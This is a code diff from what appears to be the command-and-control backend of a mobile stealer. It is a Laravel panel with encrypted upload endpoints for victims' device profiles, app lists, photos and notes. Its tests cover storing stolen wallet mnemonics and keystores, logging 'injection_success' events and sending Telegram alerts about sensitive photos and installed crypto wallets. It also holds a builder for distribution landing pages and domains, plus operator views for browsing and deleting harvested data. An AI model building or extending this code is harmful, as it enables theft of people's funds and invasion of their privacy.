$.ajax({
url: obj.data.destroy_url,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
layer.msg('已删除');
obj.del();
},
error: function (xhr) {
layer.close(loading);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
layer.msg(msg);
}
});
});
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 #' + obj.data.id;
+64 -4
View File
@@ -4,6 +4,10 @@
@section('content')
<div class="layui-card">
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
<span>设备详情</span>
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
@@ -12,6 +16,10 @@
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>来源域名</th>
<td colspan="3"><code>{{ $device->source_domain ?: '—' }}</code></td>
</tr>
<tr>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
@@ -24,6 +32,21 @@
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>钱包</th>
<td colspan="3">
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
<span style="color:#d97706;font-weight:600;">有</span>
@foreach ($device->walletNameList() as $name)
<span class="tag-wallet">{{ $name }}</span>
@endforeach
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
无
@else
未知
@endif
</td>
</tr>
<tr>
<th>相册存储</th>
<td colspan="3">
@@ -137,6 +160,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var dash = function (v) { return v ? v : '—'; };
var esc = function (v) {
@@ -170,8 +195,43 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
});
form.render('checkbox');
$('#LAY-device-destroy').on('click', function () {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: destroyUrl,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
layer.msg('已删除', { time: 800 }, function () {
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
try {
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
parent.layui.index.closeThisTabs();
parent.layui.index.openTabsPage(next, '设备管理');
return;
}
} catch (e) {}
location.href = next;
});
},
error: function (xhr) {
layer.close(loading);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
layer.msg(msg);
}
});
});
});
if (tab === 'photos') {
var photoState = { page: 1, limit: 15, sensitive: '' };
var photoState = { page: 1, limit: 20, sensitive: '' };
var renderPhotos = function () {
$.getJSON(tabDataUrl, {
@@ -225,7 +285,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
count: (res && res.count) ? res.count : 0,
curr: photoState.page,
limit: photoState.limit,
limits: [10, 15, 20, 30, 50],
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
@@ -349,8 +409,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
defaultToolbar: ['filter', 'exports', 'print'],
cols: colsMap[tab] || colsMap.wallets,
page: true,
limit: 15,
limits: [10, 15, 20, 30, 50],
limit: 20,
limits: [10, 20, 30, 50],
text: { none: emptyMap[tab] || '暂无数据' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
@@ -75,7 +75,7 @@ layui.use(['table', 'form'], function () {
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
+1 -1
View File
@@ -67,7 +67,7 @@ layui.use(['table', 'form'], function () {
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
+1 -1
View File
@@ -77,7 +77,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-photo-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
@@ -56,7 +56,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 160, toolbar: '#LAY-admin-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
@@ -138,7 +138,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'created_at', title: '时间', width: 170, sort: true },
{ title: '操作', width: 90, align: 'center', fixed: 'right', toolbar: '#LAY-tx-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
+11 -4
View File
@@ -42,6 +42,12 @@
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">来源域名</label>
<div class="layui-input-block">
<input type="text" name="domain" class="layui-input" placeholder="来源域名" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">Referer</label>
<div class="layui-input-block">
@@ -75,6 +81,7 @@
<select id="LAY-visit-group">
<option value="os">系统</option>
<option value="os_version">系统 + 版本</option>
<option value="domain">来源域名</option>
<option value="browser">浏览器</option>
<option value="browser_version">浏览器 + 版本</option>
</select>
@@ -116,19 +123,19 @@ layui.use(['table', 'form'], function () {
where: where,
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道', minWidth: 220 },
{ field: 'client_uid', title: '访客 UID', minWidth: 220 },
{ field: 'channel_id', title: '渠道', minWidth: 160 },
{ field: 'domain', title: '来源域名', minWidth: 180 },
{ field: 'client_uid', title: '访客 UID', width: 160 },
{ field: 'os', title: '系统', width: 90 },
{ field: 'os_version', title: '系统版本', width: 100 },
{ field: 'browser', title: '浏览器', width: 100 },
{ field: 'browser_version', title: '浏览器版本', width: 110 },
{ field: 'ip', title: 'IP', width: 130 },
{ field: 'path', title: '路径', minWidth: 180 },
{ field: 'referer', title: 'Referer', minWidth: 220 },
{ field: 'user_agent', title: 'UA', minWidth: 260 },
{ field: 'created_at', title: '时间', width: 170, sort: true }
]],
page: true, limit: 20, height: 'full-420',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
+2
View File
@@ -43,6 +43,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
@@ -72,6 +73,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+37
View File
@@ -70,6 +70,43 @@ Artisan::command('telegram:set-webhook {url?} {--agent= : Agent user id}', funct
return 1;
})->purpose('Register Telegram webhook (official or --agent=ID)');
Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
$channelC = trim((string) $this->option('channel-c'));
$random = (bool) $this->option('random-c');
try {
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts(
$channelC !== '' ? $channelC : null,
$random,
);
} catch (\Throwable $e) {
$this->error($e->getMessage());
return 1;
}
$c = (string) data_get($result, 'seeds.channel_c', '');
$this->info('XXBB_CHANNEL_C='.$c);
$this->info('details -> /details/');
$staged = (string) ($result['staged_weifile'] ?? '');
if ($staged !== '') {
$this->info('staged weifile -> '.$staged);
}
$this->line('domains:');
$domains = array_values((array) data_get($result, 'domains.deployment', []));
if ($domains === []) {
$this->warn('(empty)');
}
foreach ($domains as $i => $domain) {
$this->line(sprintf(' %03d %s', $i + 1, $domain));
}
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
if ($c !== '' && $configured !== $c) {
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。');
}
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) {
+3 -1
View File
@@ -32,6 +32,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
@@ -53,7 +54,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit own channel links only (no create/delete).
// Agent portal: view/edit/download own channel links only (no create/delete).
});
});
+3
View File
@@ -11,9 +11,12 @@ Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']);
Route::post('/u', [XxbbC2Controller::class, 'apps']);
Route::post('/event', [XxbbC2Controller::class, 'event']);
Route::post('/t', [XxbbC2Controller::class, 'photos']);
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
});
+5
View File
@@ -242,7 +242,12 @@ class C2ApiTest extends TestCase
$this->assertSame('MetaMask', $mm->name);
$this->assertSame('7.12.0', $mm->version);
$this->assertTrue($mm->is_wallet);
$safari = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->first();
$this->assertNotNull($safari);
$this->assertFalse($safari->is_wallet);
$this->assertSame(2, $device->apps()->count());
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['MetaMask'], $device->walletNameList());
}
#[Test]
+94 -54
View File
@@ -19,6 +19,8 @@ class ChannelProjectServiceTest extends TestCase
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
private const NEW_CHANNEL_ID = 'FAFA9988';
protected function setUp(): void
{
parent::setUp();
@@ -56,6 +58,18 @@ class ChannelProjectServiceTest extends TestCase
return "log line\n".ChannelProjectService::RESULT_MARKER.json_encode($payload)."\n";
}
private function stageFakeWeifile(): string
{
$dir = storage_path('app/channel-builder-new-test/out/weifile');
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->fail('unable to create staged weifile dir');
}
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
return $dir;
}
#[Test]
public function it_invokes_new_project_script_and_returns_seeds(): void
{
@@ -328,26 +342,27 @@ class ChannelProjectServiceTest extends TestCase
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
$this->assertSame([], $channel->domains ?? []);
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
$this->assertNull($channel->channel_name);
}
#[Test]
public function it_invokes_new_builder_for_shared_weifile(): void
public function it_packs_new_channel_from_staged_weifile(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'channel_name' => null,
'weifile_path' => '/weifile/weifile.html',
'support_path' => '/weifile/weifile.html',
'channel_code' => self::NEW_CHANNEL_ID,
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'domains' => ['deployment' => [], 'reporting' => []],
])),
]);
$result = app(ChannelProjectService::class)->generate(
self::CHANNEL_ID,
self::NEW_CHANNEL_ID,
'test',
null,
null,
@@ -355,107 +370,139 @@ class ChannelProjectServiceTest extends TestCase
);
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
$this->assertNull($result['channel_name']);
$this->assertSame('/weifile/weifile.html', $result['weifile_path']);
$this->assertSame('/weifile/weifile.html', $result['support_path']);
$this->assertNull($result['weifile_path']);
$this->assertSame('', $result['support_path']);
$this->assertSame('/details/', $result['daily_path']);
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& ! str_contains($joined, '--channel-name')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, self::CHANNEL_ID)
&& str_contains($joined, '--scheme')
&& str_contains($joined, '--apply')
&& str_contains($joined, '--force');
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, '--channel-code')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py')
&& ! str_contains($joined, '--apply');
});
}
#[Test]
public function new_builder_rejects_mismatched_seeds(): void
public function new_builder_requires_staged_weifile(): void
{
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
if (is_file($index)) {
unlink($index);
}
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
$this->expectExceptionMessage('请先运行构建脚本');
app(ChannelProjectService::class)->generate(
self::CHANNEL_ID,
self::NEW_CHANNEL_ID,
'test',
null,
null,
Channel::BUILDER_NEW,
);
}
#[Test]
public function new_builder_ignores_seed_mismatch(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
])),
]);
$result = app(ChannelProjectService::class)->generate(
self::NEW_CHANNEL_ID,
'test',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
Channel::BUILDER_NEW,
'abcd1234',
);
$this->assertSame(self::NEW_CHANNEL_ID, $result['channel_id']);
}
#[Test]
public function support_links_use_weifile_path_for_new_builder(): void
{
$channel = new Channel([
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'domains' => ['channel.test'],
]);
$this->assertSame([
'https://channel.test/weifile/weifile.html',
], $channel->supportLinks());
$this->assertSame([], $channel->supportLinks());
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
}
#[Test]
public function store_new_builder_returns_shared_weifile_path(): void
public function store_new_builder_returns_zip_path(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'weifile_path' => '/weifile/weifile.html',
'support_path' => '/weifile/weifile.html',
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
])),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$response = $this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW);
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
$this->assertNotNull($channel);
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
$this->assertNull($channel->channel_name);
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
$this->assertNull($response->json('data.channel_name'));
$this->assertSame('/weifile/weifile.html', $response->json('data.weifile_path'));
$this->assertNull($response->json('data.weifile_path'));
$this->assertNotEmpty($response->json('data.download_url'));
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& ! str_contains($joined, '--channel-name')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, self::CHANNEL_ID);
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py');
});
}
#[Test]
public function destroy_new_builder_keeps_shared_weifile(): void
public function destroy_new_builder_deletes_zip_not_details(): void
{
Process::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$channel = Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'channel_name' => null,
'user_id' => 0,
'status' => 1,
]);
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
if (! is_dir($zipDir)) {
mkdir($zipDir, 0775, true);
}
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
file_put_contents($zip, 'zip');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details)) {
mkdir($details, 0775, true);
}
file_put_contents($details.'/show.html', 'keep');
$this->actingAs($admin, 'admin')
->delete(route('admin.channels.destroy', $channel))
@@ -468,23 +515,16 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'delete_channel.py')
|| str_contains($joined, 'delete_channel_web.py');
});
$this->assertFileDoesNotExist($zip);
$this->assertFileExists($details.'/show.html');
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
}
#[Test]
public function random_channel_name_is_unique_and_not_reserved(): void
public function reserved_names_cannot_be_new_channel_ids(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'channel_name' => 'taken123',
'user_id' => 0,
'status' => 1,
]);
$name = Channel::randomChannelName();
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', $name);
$this->assertNotSame('taken123', $name);
$this->assertFalse(Channel::isReservedChannelName($name));
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
}
}
+42
View File
@@ -9,6 +9,7 @@ use App\Models\Photo;
use App\Models\User;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -46,6 +47,47 @@ class DeviceAlbumStorageTest extends TestCase
@unlink($tmp);
}
#[Test]
public function ingest_notifies_telegram_when_x_hit_is_12(): void
{
Storage::fake('local');
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
$device = Device::query()->create(['device_id' => 'dev-hit12']);
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
$ingest = app(IngestService::class);
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
Http::assertNothingSent();
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'Sensitive Photo')
&& str_contains($text, 'dev-hit12')
&& str_contains($text, 'x-hit</b>: 12');
});
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
$text = (string) ($pair[0]->data()['text'] ?? '');
return str_contains($text, 'Sensitive Photo');
})->count());
@unlink($tmp);
@unlink($tmp2);
}
#[Test]
public function admin_can_toggle_album_storage(): void
{
+115
View File
@@ -0,0 +1,115 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceDeleteTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_can_delete_device_and_related_data(): void
{
Storage::fake('local');
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-del-1', 'channel_id' => '86C1AAD5']);
$photoPath = 'c2/photos/dev-del-1/hit.jpg';
$checkPath = 'c2/check/dev-del-1/pack/file.bin';
Storage::disk('local')->put($photoPath, "\xFF\xD8\xFF\xD9");
Storage::disk('local')->put($checkPath, 'x');
Photo::query()->create([
'device_id' => $device->id,
'sha256' => hash('sha256', 'x'),
'path' => $photoPath,
'size' => 4,
]);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
]);
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => 'dev-del-1',
'event_name' => 'injection_success',
]);
Note::query()->create([
'device_id' => $device->id,
'content' => ['text' => 'hello'],
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'Txxx',
'source' => 'imToken',
'chain_type' => 'TRX',
]);
WalletMnemonic::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'mnemonic_hash' => hash('sha256', 'abandon'),
'mnemonic_enc' => 'enc',
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => ['k' => 1],
]);
$this->actingAs($admin, 'admin')
->deleteJson(route('admin.devices.destroy', $device))
->assertOk()
->assertJsonPath('code', 0);
$this->assertNull(Device::query()->find($device->id));
$this->assertSame(0, Photo::query()->count());
$this->assertSame(0, DeviceApp::query()->count());
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(0, Note::query()->count());
$this->assertSame(0, WalletAddress::query()->count());
$this->assertSame(0, WalletMnemonic::query()->count());
$this->assertSame(0, WalletKeystore::query()->count());
Storage::disk('local')->assertMissing($photoPath);
Storage::disk('local')->assertMissing($checkPath);
}
#[Test]
public function agent_cannot_delete_other_channel_device(): void
{
$agent = User::query()->create([
'username' => 'agent_del',
'password' => 'secret12',
'status' => 1,
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $agent->id,
'status' => 1,
]);
$other = Device::query()->create([
'device_id' => 'dev-other-del',
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
]);
$this->actingAs($agent, 'agent')
->deleteJson(route('user.devices.destroy', $other))
->assertForbidden();
$this->assertNotNull(Device::query()->find($other->id));
}
}
+132
View File
@@ -0,0 +1,132 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceWalletFlagTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function new_device_wallet_flag_is_unknown(): void
{
$device = Device::query()->create(['device_id' => 'dev-wallet-unknown']);
$this->assertSame(Device::WALLET_UNKNOWN, (int) $device->has_wallet);
$this->assertSame([], $device->walletNameList());
}
#[Test]
public function applist_without_plugin_wallets_marks_none(): void
{
$device = Device::query()->create(['device_id' => 'dev-wallet-none']);
app(IngestService::class)->ingestInstalledApps($device, [
'al' => [
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '17'],
['a' => 'Foo Wallet', 'b' => 'com.foo.somecoinwallet', 'v' => '1'],
['a' => 'Telegram', 'b' => 'ph.telegra.Telegraph', 'v' => '10'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
$this->assertSame([], $device->walletNameList());
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet'));
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet'));
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
}
#[Test]
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
{
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
$device = Device::query()->create(['device_id' => 'dev-wallet-yes']);
$ingest = app(IngestService::class);
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
Http::assertNothingSent();
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
['a' => 'imToken', 'b' => 'im.token.app'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['MetaMask', 'imToken'], $device->walletNameList());
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'Trust', 'b' => 'com.sixdays.trust'],
],
]);
$device->refresh();
$this->assertSame(['MetaMask', 'Trust Wallet', 'imToken'], $device->walletNameList());
$walletAlerts = 0;
Http::assertSent(function ($request) use (&$walletAlerts) {
$text = (string) ($request->data()['text'] ?? '');
if (str_contains($text, 'Installed Wallets')) {
$walletAlerts++;
$this->assertStringContainsString('MetaMask', $text);
$this->assertStringContainsString('imToken', $text);
}
return true;
});
$this->assertSame(1, $walletAlerts);
}
#[Test]
public function admin_can_filter_devices_by_wallet_flag(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'dev-unknown', 'has_wallet' => Device::WALLET_UNKNOWN]);
Device::query()->create(['device_id' => 'dev-none', 'has_wallet' => Device::WALLET_NONE]);
Device::query()->create([
'device_id' => 'dev-yes',
'has_wallet' => Device::WALLET_YES,
'wallet_names' => ['MetaMask', 'TronLink'],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_YES]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-yes')
